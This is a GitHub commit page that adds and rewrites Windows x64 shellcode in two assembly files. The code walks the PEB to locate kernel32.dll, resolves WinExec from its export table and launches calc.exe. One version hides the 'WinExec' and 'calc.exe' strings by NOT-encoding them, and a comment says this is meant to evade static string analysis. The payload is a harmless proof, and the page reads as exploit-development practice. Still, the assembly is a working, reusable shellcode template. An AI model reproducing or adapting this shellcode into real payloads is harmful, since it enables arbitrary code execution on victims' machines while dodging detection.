Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Commit b4d6eea

Browse filesBrowse files
committed
almost there...
1 parent c618b6a commit b4d6eea
Copy full SHA for b4d6eea

File tree

2 files changed

+158
-101
lines changed
Filter options

2 files changed

+158
-101
lines changed

‎original.asm

Copy file name to clipboard
+92Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
xor rdi, rdi ; RDI = 0x0
2+
mul rdi ; RAX&RDX =0x0
3+
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
4+
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
5+
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
6+
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
7+
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
8+
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
9+
mov r8, rbx ; RBX & R8 = &kernel32.dll
10+
11+
; Get kernel32.dll ExportTable Address
12+
mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
13+
add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
14+
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
15+
add cx, 0x88ff
16+
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
17+
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
18+
add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
19+
20+
; Get &AddressTable from Kernel32.dll ExportTable
21+
xor r10, r10
22+
mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
23+
add r10, r8 ; R10 = &AddressTable
24+
25+
; Get &NamePointerTable from Kernel32.dll ExportTable
26+
xor r11, r11
27+
mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
28+
add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
29+
30+
; Get &OrdinalTable from Kernel32.dll ExportTable
31+
xor r12, r12
32+
mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
33+
add r12, r8 ; R12 = &OrdinalTable
34+
35+
jmp short apis
36+
37+
; Get the address of the API from the Kernel32.dll ExportTable
38+
getapiaddr:
39+
pop rbx ; save the return address for ret 2 caller after API address is found
40+
pop rcx ; Get the string length counter from stack
41+
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
42+
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
43+
push rcx ; push the string length counter to stack
44+
loop:
45+
mov rcx, [rsp] ; reset the string length counter from the stack
46+
xor rdi,rdi ; Clear RDI for setting up string name retrieval
47+
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
48+
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
49+
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
50+
repe cmpsb ; Compare strings at RDI & RSI
51+
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
52+
incloop:
53+
inc rax
54+
jmp short loop
55+
56+
; Find the address of GetProcAddress by using the last value of the Counter
57+
resolveaddr:
58+
pop rcx ; remove string length counter from top of stack
59+
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
60+
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
61+
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
62+
push rbx ; place the return address from the api string call back on the top of the stack
63+
ret ; return to API caller
64+
65+
apis: ; API Names to resolve addresses
66+
; WinExec | String length : 7
67+
xor rcx, rcx
68+
add cl, 0x7 ; String length for compare string
69+
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
70+
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
71+
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
72+
push rax
73+
push rcx ; push the string length counter to stack
74+
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
75+
mov r14, rax ; R14 = Kernel32.WinExec Address
76+
77+
; UINT WinExec(
78+
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
79+
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
80+
; );
81+
xor rcx, rcx
82+
mul rcx ; RAX & RDX & RCX = 0x0
83+
; calc.exe | String length : 8
84+
push rax ; Null terminate string on stack
85+
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
86+
not rax
87+
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
88+
push rax ; RSP = "calc.exe",0x0
89+
mov rcx, rsp ; RCX = "calc.exe",0x0
90+
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
91+
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
92+
call r14 ; Call WinExec("calc.exe", SW_HIDE)

‎shellcode.asm

Copy file name to clipboard
+66-101Lines changed: 66 additions & 101 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,15 @@
11
[bits 64]
22

3+
;; TODO: DEBUG this shiiiit (x64dbg)
4+
35
; Access PEB structure
46
xor rbx, rbx
57
mov rbx, gs:[0x60] ; RBX = address of PEB struct
68
mov rbx, [rbx+0x18] ; RBX = address of PEB_LDR_DATA
7-
mov rbx, rbx+0x20 ; RBX = address of InMemoryOrderModuleList
9+
add rbx, 0x20 ; RBX = address of InMemoryOrderModuleList
810

911
; Go down the double-link list of PEB_LDR_DATA
10-
mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll)
12+
mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll)
1113
mov rbx, [rbx] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll)
1214
mov rbx, [rbx] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll)
1315

@@ -40,110 +42,73 @@ xor r12, r12
4042
mov r12, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA
4143
add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals
4244

43-
jmp short get_winapi_func
44-
45-
get_winapi_func:
46-
; Requirements:
47-
; R8 = &kernel32.dll
48-
; R10 = &AddressOfFunctions (ExportTable)
49-
; R11 = &AddressOfNames (ExportTable)
50-
; R12 = &AddressOfNameOrdinals (ExportTable)
51-
; Returns:
52-
; RAX = &winapi_func
53-
54-
55-
56-
; ==================================
57-
58-
xor rdi, rdi ; RDI = 0x0
59-
mul rdi ; RAX&RDX =0x0
60-
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
61-
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
62-
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
63-
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
64-
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
65-
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
66-
mov r8, rbx ; RBX & R8 = &kernel32.dll
67-
68-
; Get kernel32.dll ExportTable Address
69-
mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
70-
add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
71-
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
72-
add cx, 0x88ff
73-
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
74-
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
75-
add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
76-
77-
; Get &AddressTable from Kernel32.dll ExportTable
78-
xor r10, r10
79-
mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
80-
add r10, r8 ; R10 = &AddressTable
45+
; Get address of WinExec function exported from kernel32.dll
46+
xor rcx, rcx
47+
add cl, 0x7 ; RCX = function name length ("WinExec" == 7)
8148

82-
; Get &NamePointerTable from Kernel32.dll ExportTable
83-
xor r11, r11
84-
mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
85-
add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
49+
xor rax, rax
50+
mov rax, 0x636578456E695700 ; RAX = function name = "cexEniW" (WinExec) + 0x00
51+
push rax ; STACK + function name address (8)
52+
mov rsi, rsp ; RSI = &function_name
8653

87-
; Get &OrdinalTable from Kernel32.dll ExportTable
88-
xor r12, r12
89-
mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
90-
add r12, r8 ; R12 = &OrdinalTable
91-
92-
jmp short apis
93-
94-
; Get the address of the API from the Kernel32.dll ExportTable
95-
getapiaddr:
96-
pop rbx ; save the return address for ret 2 caller after API address is found
97-
pop rcx ; Get the string length counter from stack
98-
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
99-
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
100-
push rcx ; push the string length counter to stack
101-
loop:
102-
mov rcx, [rsp] ; reset the string length counter from the stack
103-
xor rdi,rdi ; Clear RDI for setting up string name retrieval
104-
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
105-
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
106-
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
107-
repe cmpsb ; Compare strings at RDI & RSI
108-
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
109-
incloop:
110-
inc rax
111-
jmp short loop
112-
113-
; Find the address of GetProcAddress by using the last value of the Counter
114-
resolveaddr:
115-
pop rcx ; remove string length counter from top of stack
116-
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
117-
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
118-
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
119-
push rbx ; place the return address from the api string call back on the top of the stack
120-
ret ; return to API caller
121-
122-
apis: ; API Names to resolve addresses
123-
; WinExec | String length : 7
124-
xor rcx, rcx
125-
add cl, 0x7 ; String length for compare string
126-
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
127-
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
128-
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
129-
push rax
130-
push rcx ; push the string length counter to stack
131-
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
132-
mov r14, rax ; R14 = Kernel32.WinExec Address
54+
call get_winapi_func
55+
mov r13, rax ; R13 = &WinExec
13356

57+
; Execute WinExec function
58+
;
13459
; UINT WinExec(
13560
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
13661
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
13762
; );
63+
xor rax, rax
13864
xor rcx, rcx
139-
mul rcx ; RAX & RDX & RCX = 0x0
140-
; calc.exe | String length : 8
141-
push rax ; Null terminate string on stack
142-
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
143-
not rax
144-
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
145-
push rax ; RSP = "calc.exe",0x0
146-
mov rcx, rsp ; RCX = "calc.exe",0x0
147-
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
148-
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
149-
call r14 ; Call WinExec("calc.exe", SW_HIDE)
65+
xor rdx, rdx
66+
67+
mov rax, 0x6578652e636c6163 ; RAX = "exe.clac" (command string: calc.exe)
68+
push ax ; STACK + null terminator (2)
69+
push rax ; STACK + command string (8)
70+
mov rcx, rsp ; RCX = LPCSTR lpCmdLine
71+
72+
mov dl, 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL)
73+
; Why is here "sub rsp, 0x20" originally ???
74+
call r13 ; Call WinExec(rax, rdx)
75+
76+
get_winapi_func:
77+
; Requirements (preserved):
78+
; R8 = &kernel32.dll
79+
; R10 = &AddressOfFunctions (ExportTable)
80+
; R11 = &AddressOfNames (ExportTable)
81+
; R12 = &AddressOfNameOrdinals (ExportTable)
82+
; Parameters (preserved):
83+
; RSI = (char*) function_name
84+
; RCX = (int) length of function_name string
85+
; Returns:
86+
; RAX = &function
87+
;
88+
; IMPORTANT: This function doesn't handle "not found" case!
89+
; Infinite loop and access violation is possible.
90+
91+
xor rax, rax ; RAX = counter = 0
92+
push rcx ; STACK + RCX (8) = preserve length of function_name string
93+
94+
; Loop through AddressOfNames array:
95+
; array item = function name RVA (4 bytes)
96+
loop:
97+
mov rcx, [rsp] ; RCX = length of function_name string
98+
xor rdi, rdi ; RDI = 0
99+
100+
mov edi, [r11+rax*4] ; RDI = function name RVA
101+
add rdi, r8 ; RDI = &FunctionName = function name RVA + &kernel32.dll
102+
repe cmpsb ; Compare byte at *RDI (array item str) and *RSI (param function name)
103+
104+
je resolve_func_addr ; Jump if exported function name == param function name
105+
106+
inc rax ; RAX = RAX + 1
107+
jmp short loop
108+
109+
resolve_func_addr:
110+
pop rcx ; STACK - RCX (8) = remove length of function_name string
111+
mov ax, [r12+rax*2] ; RAX = ordinal number of function = &AddressOfNameOrdinals + (counter * 2)
112+
mov eax, [r10+rax*4] ; RAX = function RVA = &AddressOfFunctions + (ordinal number * 4)
113+
add rax, r8 ; RAX = &function = function RVA + &kernel32.dll
114+
ret

0 commit comments

Comments
0 (0)
Morty Proxy This is a proxified and sanitized view of the page, visit original site.